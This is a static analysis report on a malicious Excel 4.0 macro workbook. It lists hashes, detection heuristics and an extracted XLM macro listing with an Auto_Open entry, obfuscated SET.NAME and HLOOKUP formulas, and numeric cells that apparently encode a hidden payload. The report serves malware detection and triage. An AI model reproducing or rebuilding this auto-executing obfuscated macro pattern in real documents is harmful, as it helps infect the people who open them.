Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c3e2b98086e9604…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:12 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 96e4ba531855c4b8e1a6435fba51b032 SHA-1: 99de6a62e3ae5beb382a53807bfc374ef81ac137 SHA-256: 5c3e2b98086e9604d316660d735b873d4bf79160cda73f3af1dcd596f65576e7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6686 bytes
SHA-256: 69c8084372806916cfb209997fdb1c9b285ca4c39fb6a623e52430401419121b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KLkKUn
' 0018     23 LABEL : Cell Value, String Constant - AKpVuBvi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G173 
' 0018     23 LABEL : Cell Value, String Constant - BrvfFGIu len=0 
' 0018     20 LABEL : Cell Value, String Constant - cctFK len=0 
' 0018     26 LABEL : Cell Value, String Constant - CJveNgKvFuH len=0 
' 0018     23 LABEL : Cell Value, String Constant - cWAcOTbX len=0 
' 0018     20 LABEL : Cell Value, String Constant - HoPxg len=0 
' 0018     22 LABEL : Cell Value, String Constant - IugDnFm len=0 
' 0018     21 LABEL : Cell Value, String Constant - NNYinM len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYnDLbV len=0 
' 0018     21 LABEL : Cell Value, String Constant - omFnvS len=0 
' 0018     20 LABEL : Cell Value, String Constant - OrhMW len=0 
' 0018     27 LABEL : Cell Value, String Constant - pgaeRTghJGNR len=0 
' 0018     20 LABEL : Cell Value, String Constant - phBrd len=0 
' 0018     25 LABEL : Cell Value, String Constant - PoGMkwrjGk len=0 
' 0018     23 LABEL : Cell Value, String Constant - pvnbwEqN len=0 
' 0018     25 LABEL : Cell Value, String Constant - RnZUZvAQFl len=0 
' 0018     24 LABEL : Cell Value, String Constant - tVRgPweoz len=0 
' 0018     23 LABEL : Cell Value, String Constant - uEIJcfVS len=0 
' 0018     23 LABEL : Cell Value, String Constant - vGtGIQju len=0 
' 0018     26 LABEL : Cell Value, String Constant - xNYDrFUaKci len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KLkKUn,G76,"SET.NAME("AKpVuBvi",0+VALUE("0"))",""
'  KLkKUn,G79,"SET.NAME("IugDnFm",AKpVuBvi)",""
'  KLkKUn,G82,"SET.NAME("RnZUZvAQFl",AKpVuBvi)",""
'  KLkKUn,G86,"SET.NAME("xNYDrFUaKci",COUNTA(vGtGIQju))",""
'  KLkKUn,P87,"",-673.00000000000000000000
'  KLkKUn,P88,"",162.00000000000000000000
'  KLkKUn,P89,"",-653.00000000000000000000
'  KLkKUn,G90,"SET.NAME("omFnvS",COUNTA(OrhMW))",""
'  KLkKUn,P90,"",801.00000000000000000000
'  KLkKUn,P91,"",-677.00000000000000000000
'  KLkKUn,P92,"",-828.00000000000000000000
'  KLkKUn,G94,[],""
'  KLkKUn,G98,"SET.NAME("NNYinM","")",""
'  KLkKUn,G103,"IugDnFm",""
'  KLkKUn,G106,"SET.NAME("CJveNgKvFuH",HLOOKUP("*",vGtGIQju,IugDnFm,FALSE))",""
'  KLkKUn,G108,"cWAcOTbX",""
'  KLkKUn,G111,"SET.NAME("nYnDLbV",AKpVuBvi)",""
'  KLkKUn,G115,[],""
'  KLkKUn,G119,"nYnDLbV",""
'  KLkKUn,G123,"tVRgPweoz",""
'  KLkKUn,G126,"PoGMkwrjGk",""
'  KLkKUn,G129,"BrvfFGIu",""
'  KLkKUn,G133,"SET.NAME("pgaeRTghJGNR",VALUE(HLOOKUP("*",OrhMW,BrvfFGIu,FALSE)))",""
'  KLkKUn,G136,"pvnbwEqN",""
'  KLkKUn,G141,"NNYinM",""
'  KLkKUn,G144,"RnZUZvAQFl",""
'  KLkKUn,G148,NEXT(),""
'  KLkKUn,G153,"phBrd",""
'  KLkKUn,G157,[],""
'  KLkKUn,G161,"HoPxg",""
'  KLkKUn,G166,NEXT(),""
'  KLkKUn,G168,RETURN(),""
'  KLkKUn,G197,"SET.NAME("uEIJcfVS",G76)",""
'  KLkKUn,G199,"vGtGIQju",""
'  KLkKUn,G203,"SET.NAME("OrhMW",R63C15)",""
'  KLkKUn,G207,"SET.NAME("HoPxg",216)",""
'  KLkKUn,G210,"SET.NAME("cctFK",7)",""
'  KLkKUn,G215,uEIJcfVS(),""
'  KLkKUn,G216,HALT(),""

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